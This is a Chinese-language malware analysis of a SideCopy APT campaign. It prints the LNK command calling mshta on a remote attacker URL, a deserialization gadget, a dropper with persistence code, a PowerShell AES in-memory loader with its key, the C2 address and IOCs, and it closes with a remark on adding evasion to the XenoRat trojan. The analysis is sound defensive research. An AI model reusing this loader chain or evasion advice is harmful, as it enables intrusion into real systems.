样本简述
初始样本通过邮件投递,其中包含一个下载链接,用于下载一个zip压缩包,其中包含一个伪装成 pdf 的 LNK 文件:NDC65-Updated-Schedule.pdf.lnk ,该文件指向远程的恶意hta脚本:
C:WindowsSystem32mshta.exe https://modspaceinterior.com/wp-content/upgrade/01/ & mshta.exe
里面还包含了样本制作者的计算机名称:
先放一个攻击流程图:
具体分析
攻击组件1-hta脚本
直接看hta脚本:
原始的脚本经过了一些混淆,解混淆后大致逻辑如下:
// 创建内存流并加载解密数据
function createMemoryStream(encodedData, dataLength) {
var asciiEncoder = new ActiveXObject("System.Text.ASCIIEncoding");
var bytes = asciiEncoder.GetBytes(encodedData);
// Base64解码
var base64Decoder = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
bytes = base64Decoder.TransformFinalBlock(bytes, 0, bytes.length);
// 创建内存流并写入数据
var memStream = new ActiveXObject("System.IO.MemoryStream");
memStream.Write(bytes, 0, bytes.length);
memStream.Position = 0;
return memStream;
}
try {
// 创建WScript.Shell对象
var wscriptShell = new ActiveXObject("WScript.Shell");
// 检测.NET Framework版本
var dotnetVersion = 'v4.0.30319';
try {
wscriptShell.RegRead('HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\');
} catch(e) {
dotnetVersion = 'v2.0.50727'; // 回退到旧版本
}
// 设置运行时环境变量
wscriptShell.Environment("Process")("COMPLUS_Version") = dotnetVersion;
// 加密的恶意Payload(Base64编码)
var encryptedPayload1 = "payload数据1";
var encryptedPayload2 = "payload数据2";// 核心组件
// 解码Payload
var decodedPayload1 = decodeBase64(encryptedPayload1);
var decodedPayload2 = decodeBase64(encryptedPayload2);
// 初始化binaryFormatter
var binaryFormatterType = System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
// 加载主Payload1
var payloadStream1 = createMemoryStream(decodedPayload1, 2341);
var formatter1 = new ActiveXObject(binaryFormatterType);
formatter1.Deserialize(payloadStream1); // 反序列化
window.close();
} catch (e) {
try {
// 当主Payload1执行出现异常时执行Payload2
var payloadStream2 = createMemoryStream(decodedPayload2, 3699848);
var formatter2 = new ActiveXObject(binaryFormatterType);
formatter2.Deserialize(payloadStream2);
window.close();
} catch (e2) {
}
}
这个脚本中涉及了两个payload数据,在paylaod1执行出现异常时才会在异常处理流程中触发payload2执行,而核心的恶意逻辑在payload2中。
payload1解码后是序列化的xaml数据,主要内容如下:
<ResourceDictionary
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib">
<ObjectDataProviderx:Key="type"ObjectType="{x:Type s:Type}"MethodName="GetType">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProviderx:Key="field"ObjectInstance="{StaticResource type}"MethodName="GetField">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProviderx:Key="set"ObjectInstance="{StaticResource field}"MethodName="SetValue">
<ObjectDataProvider.MethodParameters>
<s:Object/>
<s:Boolean>true</s:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProviderx:Key="setMethod"ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}"MethodName ="Set">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
<s:String>true</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
payload1看起来只是进行了一些绕过.NET反序列化安全机制的操作,但是根据之前制作这类paylaod的经验,在反序列化这种paylaod的时候,通常会抛出一种类型异常,但是不会影响payload的正常执行。类似于这种:
所以才可以走到payload2的执行流程。而将恶意逻辑放在异常处理中,也是一种常见的规避检测的机制。
paylaod2解码之后,是一个被序列化的.NET二进制文件:
攻击组件2-BroaderAspect.dll
从paylaod2中将.NET二进制文件提取出来,进行反编译,是一个名为BroaderAspect.dll的组件:
该组件的主逻辑如下,释放和打开与初始快捷方式同名的pdf诱饵文件,并释放后续攻击组件zuidrt.pdf(一个伪装成pdf的.NET二进制文件),并为其设置持久化:
namespace BroaderAspect
{
public class Program
{
publicProgram()
{
// pdf诱饵文件 NDC65-Updated-Schedule.pdf
string data = "经过编码和压缩的pdf数据";
// USOShared-1de48789-1285 目录名
string fileFolderName = Program.BSDSD94("VVNPU2hhcmVkLTFkZTQ4Nzg5LTEyODU=");
// zuidrt.pdf,.NET二进制文件名,伪装成pdf
string exeFileName = Program.BSDSD94("enVpZHJ0LnBkZg==");
// .NET二进制文件数据
string exbtes = "经过编码和压缩的.NET二进制文件数据";
// 释放诱饵文件为 C:ProgramDataNDC65-Updated-Schedule.pdf 并打开
this.openthefile(data);
// 写Run注册表持久化,解密并启动.NET二进制文件
Program.activeDefender2(fileFolderName, exeFileName, exbtes);
}
publicstaticvoidactiveDefender2(string fileFolderName, string exeFileName, string exbtes)
{
// 创建 C:UsersPublicUSOShared-1de48789-1285 目录
string text = "C:\Users\Public\" + fileFolderName + "\";
bool flag = !Directory.Exists(text);
if (flag)
{
Directory.CreateDirectory(text);
}
// 将二进制文件写入注册表Run项
Program.RegWorkExePathFromPublic(fileFolderName);
// 将二进制文件解压缩解码释放到public目录
Program.CopyExeToUsersPublic(fileFolderName, exeFileName, exbtes);
Thread.Sleep(30000);
// 通过Hidden cmd执行二进制文件
Program.RunProcessWithHiddenCmd(text + exeFileName);
}
privatevoidopenthefile(string data)
{
......
}
privatestaticvoidRunProcessWithHiddenCmd(string filePath)
{
......
}
// 设置注册表Run项
publicstaticvoidRegWorkExePathFromPublic(string fileFolderName)
{
......
}
publicstaticvoidCopyExeToUsersPublic(string fileFolderName, string exeFileName, string exbitw)
{
......
}
publicstaticstringdecompressdata(string compressedText)
{
......解压缩
}
}
}
攻击组件3-zuidrt.pdf
对上一个组件中的exbtes进行解压缩和解码,获取到后续攻击组件zuidrt.pdf,是一个名为Myapp.exe的.NET程序集,反编译,能看出一上来就从资源中读取了数据进行操作:
里面的字符串都是经过凯撒密码加密的,解密时后移9位:
对加密字符串进行还原,该组件的主逻辑如下:
private static void Main()
{
try
{
// Myapp.Resources.Document.pdf
string resourceName = DD.Dec("Vhjyy.Anbxdalnb.Mxldvnwc.ymo");
// C:\Users\Public\Downloads\Document.pdf
string text = DD.Dec("L:\\Dbnab\\Ydkurl\\Mxfwuxjmb\\Mxldvnwc.ymo");
// 从当前运行程序集的嵌入资源中提取指定资源文件,并保存到本地磁盘路径
bool flag = !Program.ExtractResource(resourceName, text);
if (flag)
{
throw new FileNotFoundException();
}
byte[] array;
byte[] bytes;
// 从pdf文件中提取最终的.NET二进制文件
bool flag2 = Program.ExtractPdfE(text, out array, out bytes);
if (flag2)
{
Thread.Sleep(30000);
// C:\Users\Public\Downloads\suport.exe
string text2 = DD.Dec("L:\\Dbnab\\Ydkurl\\Mxfwuxjmb\\bdyxac.ngn");
File.WriteAllBytes(text2, bytes);
// fullPath 没用到的参数 C:\Users\Public\Downloads\File.exe
string fullPath = Path.GetFullPath(DD.Dec("L:\\Dbnab\\Ydkurl\\Mxfwuxjmb\\Orun.ngn"));
string ePath = text2;
// .NET 二进制文件AES解密密钥
string ek = "wq6AHvkMcSKA++1CPE3yVwg2CpdQhEzGbdarOwOrXe0=";
Thread.Sleep(40000);
// powershell指令,对.NET二进制文件进行解密和内存执行
string content = DD.Dec("rnyjajv(rn [bcarwp]$NYjcq,rn [bcarwp]$NTnh rn)rnrnFarcn-Qxbc 'Ngnldcrwp j uxwp YxfnaBqnuu blaryc oaxv L#'rn$bdv = 0rnoxa ($r = 1; $r -un 100; $r++) {rn $bdv += $rrn}rnrn$NTnhK = [Lxwenac]::OaxvKjbn64Bcarwp($NTnh)rnrn$NK = [Bhbcnv.RX.Orun]::AnjmJuuKhcnb($NYjcq)rnrn$Re = $NK[0..15]rnrn# Ngcajlc cqn jlcdju nwlahycnm mjcj (cqn anbc jocna RE)rn$NwlahycnmMjcj = $NK[16..($NK.Unwpcq - 1)]rnrnrn$JnbJup = [Bhbcnv.Bnldarch.Lahycxpajyqh.Jnb]::Lanjcn()rn$JnbJup.Tnh = $NTnhKrn$JnbJup.RE = $Rern$JnbJup.Vxmn = [Bhbcnv.Bnldarch.Lahycxpajyqh.LryqnaVxmn]::LKLrn$JnbJup.Yjmmrwp = [Bhbcnv.Bnldarch.Lahycxpajyqh.YjmmrwpVxmn]::YTLB7rnrn$Mnlahycxa = $JnbJup.LanjcnMnlahycxa()rnrnrn$MnlahycnmKhcnb = $Mnlahycxa.CajwboxavOrwjuKuxlt($NwlahycnmMjcj, 0, $NwlahycnmMjcj.Unwpcq)rnrnrn$Jbbnvkuh = [Bhbcnv.Anounlcrxw.Jbbnvkuh]::Uxjm($MnlahycnmKhcnb)rnrn# Ro cqn NGN rb j ejurm Frwmxfb jyyurljcrxw, fn bqxdum rwextn cqn nwcah yxrwcrn$NwcahYxrwc = $Jbbnvkuh.NwcahYxrwcrn ro ($nwcahYxrwc.PncYjajvncnab().Unwpcq -nz 0) {rnrn $nwcahYxrwc.Rwextn($wduu, @())rn } nubn {rnrn $nwcahYxrwc.Rwextn($wduu, @(,[bcarwp[]]@())) # Yjbb jw nvych bcarwp jaajhrn }rnrn$Mnlahycxa.Mrbyxbn()rn$JnbJup.Mrbyxbn()rnrn");
// 启动powershell,将加密.NET二进制文件路径和解密密钥作为参数传递
// powershell -ExecutionPolicy Bypass -Command {content} -EPath {ePath} -EKey {ek}
Program.ES(content, ePath, ek);
}
}
catch (Exception ex)
{
}
}
该组件首先从当前程序集资源中释放出了一个pdf文件,然后从这个pdf文件中提取了一个.NET二进制文件(被加密),提取方式是找到pdf文件的结束标记%%EOF,从这个位置之后提取:
将提取出来的文件释放为C:UsersPublicDownloadssuport.exe,随后将这个文件路径(-EPath)和一个密钥(-EKey)传入一段powershell脚本。powershell脚本经过凯撒解密出来如下:
param(
[string]$EPath,
[string]$EKey
)
Invoke-Expression 'Decrypting and executing assembly using AES-256-CBC'
$sum = 0
for ($i = 1; $i -lt 100; $i++) {
$sum += $i
}
$EKeyBytes = [Convert]::FromBase64String($EKey)
$IV = [System.Security.Cryptography.Aes]::Create().GenerateIV($EPath)
$EncryptedData = $IV[16..($IV.Length - 1)]
$AesObj = [System.Security.Cryptography.Aes]::Create()
$AesObj.Key = $EKeyBytes
$AesObj.IV = $IV
$AesObj.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AesObj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$Decryptor = $AesObj.CreateDecryptor()
$DecryptedBytes = $Decryptor.TransformFinalBlock($EncryptedData, 0, $EncryptedData.Length)
$Assembly = [System.Reflection.Assembly]::Load($DecryptedBytes)
# 如果程序集是有效的.NET可执行文件,调用入口点
$EntryPoint = $Assembly.EntryPoint
if ($EntryPoint.GetParameters().Count -eq 0) {
$EntryPoint.Invoke($null, @())
} else {
$EntryPoint.Invoke($null, @(,[string[]]@()))
}
$Decryptor.Dispose()
$AesObj.Dispose()
在脚本中,对suport.exe进行AES解密,EPath为"C:UsersPublicDownloadssuport.exe",是要解密的文件,同时这个字符串也被用于生成解密的IV,EKey是经过base64编码的AES解密密钥。在内存中解密完成后,调用程序集的入口点,执行最终的木马组件。
攻击组件4-suport.exe
根据exe提取逻辑和解密逻辑,从pdf中将suport.exe提取出来,然后写一个解密脚本,进行解密:
param(
[Parameter(Mandatory=$true)]
[ValidateScript({Test-Path $_})]
[string]$EncryptedPath, # 加密文件路径
[Parameter(Mandatory=$true)]
[string]$Base64Key, # Base64编码的AES密钥
[string]$OutputPath = "Output.exe" # 输出路径
)
try {
$keyBytes = [System.Convert]::FromBase64String($Base64Key)
# 基于文件路径字符串生成IV (与加密逻辑一致)
$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider
$ivBytes = $md5.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($EncryptedPath))
# 读取加密文件
$encryptedBytes = [System.IO.File]::ReadAllBytes($EncryptedPath)
# 初始化AES解密器
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $keyBytes
$aes.IV = $ivBytes
# 执行解密
$decryptor = $aes.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length)
# 写入输出文件
[System.IO.File]::WriteAllBytes($OutputPath, $decryptedBytes)
Write-Host "[成功] 文件已解密到: $OutputPath" -ForegroundColor Green
} catch {
Write-Host "[错误] 解密过程中断: $_" -ForegroundColor Red
exit 2
}
powershell .DecryptFile.ps1 -EncryptedPath "C:UsersPublicDownloadssuport.exe" -Base64Key "wq6AHvkMcSKA++1CPE3yVwg2CpdQhEzGbdarOwOrXe0="
解密后的文件,确实是.NET二进制文件,不过MZ头之前有一段无效数据,可能是从pdf提取exe的时候多提了几个字节:
删掉这段数据,就能被反编译了,是一个名为DevApp.exe的程序集,也是最终的木马,可以看到C2的配置信息,C2为 79.141.161.58:1256
根据一些代码特征,搜索到了一个开源的远控项目XenoRat,其他代码大部分对得上,APT使用的应该是被二次开发过:
该说不说这远控挺好用的,就是界面略显粗糙,服务端只支持Windows,用的话需要自行免杀,比如像APT一样包的一层又一层最终在内存加载。到此分析结束。
IOCs
modspaceinterior[.]com
79.141.161.58[:]1256
7637cbfa99110fe8e1074e7ead66710e
32a44a8f7b722b078b647e82cb9e85cf
原文始发于微信公众号(红蓝攻防研究实验室):SideCopy APT组织利用开源远控进行攻击-样本分析记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论